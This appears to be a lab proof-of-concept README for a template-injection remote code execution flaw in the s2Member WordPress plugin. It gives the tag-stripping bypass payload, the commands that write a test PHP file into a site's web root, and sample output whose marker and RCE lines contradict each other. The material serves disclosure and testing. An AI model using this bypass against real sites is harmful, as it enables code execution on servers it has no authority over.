CVE-2026-86596 - s2Member <= 260927 template injection (lab PoC by thiscitze)
# CVE-2026-86596 PoC
Single-file Python PoC for the s2Member <= 260927 template-injection RCE.
## What it shows
The vulnerable code:
```php
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
```
Payload:
```text
<%%x%%?php echo 'CVE-2026-86596'; ?>
```
`strip_php_tags_deep()` leaves it alone because there is no literal `<?`.
The `%%item_name%%` replacement inserts it; the final `%%(.+?)%%` cleanup
removes `%%x%%`, leaving a valid `<?php` opener.
## Modes
### One command
```bash
python3 poc.py https://wordpress.lab
```
That is the whole flow:
1. version check,
2. offline injection proof,
3. crafted IPN POST,
4. writes `cve_test.php` with `@thiscitze` into the WordPress root,
5. fetches `https://wordpress.lab/cve_test.php` and verifies the marker.
If the protected post/page ID is not `1`:
```bash
python3 poc.py https://wordpress.lab --item-number 123
```
If `.php` is blocked, write a plain text marker:
```bash
python3 poc.py https://wordpress.lab --filename cve_test.txt
```
If the site uses a proxy verification key:
```bash
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
```
Concise report:
```text
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code